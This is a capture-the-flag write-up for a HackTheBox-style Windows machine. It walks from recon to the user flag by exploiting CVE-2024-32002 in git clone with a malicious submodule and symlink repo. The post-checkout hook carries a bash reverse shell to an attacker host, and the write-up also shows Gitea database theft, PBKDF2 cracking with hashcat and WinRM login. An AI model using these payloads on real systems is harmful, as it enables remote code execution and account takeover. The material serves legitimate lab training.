Compiled
Compiled is a medium Windows box built around a 'compile my Git repository' web app that clones any URL you submit using a vulnerable Windows Git client. A malicious repo abusing CVE-2024-32002 (symlinked-submodule clone hook) yields a shell as Richard; the Gitea SQLite database then leaks a PBKDF2 hash that cracks to a weak password, granting WinRM access as Emily. This post covers recon through the user flag.
Overview
Compiled is a medium-difficulty Windows machine. It exposes a Gitea instance and a web application that clones user-supplied Git repository URLs on the backend to “compile” them. The server’s Git client is vulnerable to CVE-2024-32002, which gives initial access as Richard. From there, the Gitea database file leaks password hashes; cracking Emily’s hash provides WinRM access and the user flag. This post stops at user.txt.
Recon
| Port | Service | Notes |
|---|---|---|
| 3000 | Gitea | public repos browsable via “Explore” |
| 5000 | HTTP (Werkzeug/Python) | “Compiled” app — submit a repo URL to compile |
| 5985 | WinRM | Microsoft HTTPAPI 2.0 |
1
nmap -p- --min-rate=1000 -sC -sV <ip>
Two web servers plus WinRM. Port 5000 hosts an app with a textbox for a Git repository URL; port 3000 is a Gitea server whose public repos we can read.
Enumeration
Browsing Gitea’s Explore page reveals a public repository (Calculator) by user Richard. Its README.md discloses the Git version installed on the server:
1
git version 2.45.0.windows.1
A quick search for that version points straight at CVE-2024-32002 — a remote code execution bug in git clone that abuses symlink handling and submodules on case-insensitive filesystems (like Windows). Since the port-5000 app clones any repo URL we give it, we can host a malicious repo and get code execution as the user that runs the clone.
Foothold
After signing up on Gitea, create two repositories — hook (carries the payload) and project (carries the submodule + symlink). On the attacker box, stage the malicious post-checkout hook:
1
2
3
4
5
git clone http://<ip>:3000/<user>/hook.git
cd hook && mkdir -p y/hooks
printf '#!/bin/bash\nbash -i >& /dev/tcp/<lhost>/8001 0>&1\n' > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout && git commit -m x && git push origin main
Wire the submodule into project, then add the case-colliding .git symlink so a recursive clone writes the hook into the live .git/ directory:
1
2
3
4
5
6
7
cd .. && git clone http://<ip>:3000/<user>/project.git && cd project
git submodule add --name x/y http://<ip>:3000/<user>/hook.git A/modules/x
git commit -m x && git push origin main
printf '.git' > dotgit.txt
H=$(git hash-object -w --stdin < dotgit.txt)
printf '120000 %s 0\ta\n' "$H" | git update-index --index-info
git commit -m x && git push origin main
Start a listener, submit the project repo URL to the compile app, and catch the shell as Richard:
1
nc -lvnp 8001
Lateral to the user flag
Enumerating the filesystem leads to the Gitea database at C:\Program Files\Gitea\data\gitea.db — a SQLite file holding the user table and password hashes. Copy it off the box (e.g. via an SMB server), then extract Emily’s PBKDF2 hash, salt and iteration count and format them for Hashcat mode 10900:
1
hashcat -m 10900 hash64.txt /usr/share/wordlists/rockyou.txt --force
Gitea uses PBKDF2, but Emily’s password is weak and falls instantly:
1
...:12345678
That password works over WinRM as emily:
1
evil-winrm -u emily -p '<redacted>' -i <ip>
User flag
1
type C:\Users\Emily\Desktop\user.txt # HTB{...}
Access as compiled\emily achieved.
Foothold complete. Privilege escalation is left as an exercise — this post stops at user.